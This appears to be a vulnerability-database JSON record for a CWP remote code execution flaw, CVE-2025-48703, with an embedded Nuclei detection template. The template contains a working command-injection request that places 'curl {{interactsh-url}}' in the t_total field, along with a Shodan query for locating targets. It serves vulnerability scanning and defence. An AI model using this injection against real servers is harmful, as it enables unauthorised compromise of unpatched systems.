{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-48703/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-48703/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-48703/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-48703/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-48703/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-48703"},"sightings":{"href":"/api/v1/sightings/cve-2025-48703"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.99655,"kev":true,"percentile":0.9995},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-48703.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2025-48703\n\ninfo:\n  name: CWP (Control Web Panel) < 0.9.8.1205 - Remote Code Execution\n  author: theamanrawat\n  severity: critical\n  description: |\n    CWP (Control Web Panel) < 0.9.8.1205 contains a remote code execution caused by shell metacharacters in the t_total parameter in filemanager changePerm request, letting unauthenticated attackers execute code remotely, exploit requires knowledge of a valid non-root username.\n  impact: |\n    Unauthenticated attackers can execute arbitrary code remotely, potentially leading to full system compromise.\n  remediation: |\n    Update to version 0.9.8.1205 or later.\n  reference:\n    - https://fenrisk.com/rce-centos-webpanel\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-48703\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 9.0\n    cve-id: CVE-2025-48703\n    epss-score: 0.99655\n    epss-percentile: 0.9995\n    cwe-id: CWE-78\n  metadata:\n    verified: false\n    shodan-query: 'Server: cwpsrv'\n  tags: cve,cve2025,cwp,cwpsrv,rce,intrusive,file-upload,oast,oob,vkev,kev,vuln\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /login/index.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains_all(body, 'Control WebPanel', 'cwp')\"\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /{{username}}/index.php?module=filemanager&acc=changePerm HTTP/1.1\n        Host: {{hostname}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb\n\n        ------WebKitFormBoundaryrTrcHpS9ovyhBLtb\n        Content-Disposition: form-data; name=\"fileName\"\n\n        .bashrc\n        ------WebKitFormBoundaryrTrcHpS9ovyhBLtb\n        Content-Disposition: form-data; name=\"currentPath\"\n\n        /home/{{username}}\n        ------WebKitFormBoundaryrTrcHpS9ovyhBLtb\n        Content-Disposition: form-data; name=\"recursive\"\n\n\n        ------WebKitFormBoundaryrTrcHpS9ovyhBLtb\n        Content-Disposition: form-data; name=\"t_total\"\n\n        curl {{interactsh-url}}\n        ------WebKitFormBoundaryrTrcHpS9ovyhBLtb\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol # Confirms the DNS Interaction\n        words:\n          - \"dns\"\n\n      - type: word\n        part: interactsh_request\n        words:\n          - \"User-Agent: curl\"\n# digest: 4a0a00473045022100ce4433ae9b1b0953e17a9f88af7a7a3ab92baebde67e3f6c76d56898ded0537302202e9c99632ae26da1b17b25007f914fc96b0e3cf4a5280fcdbe40a67794f8a65b:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2025-48703"}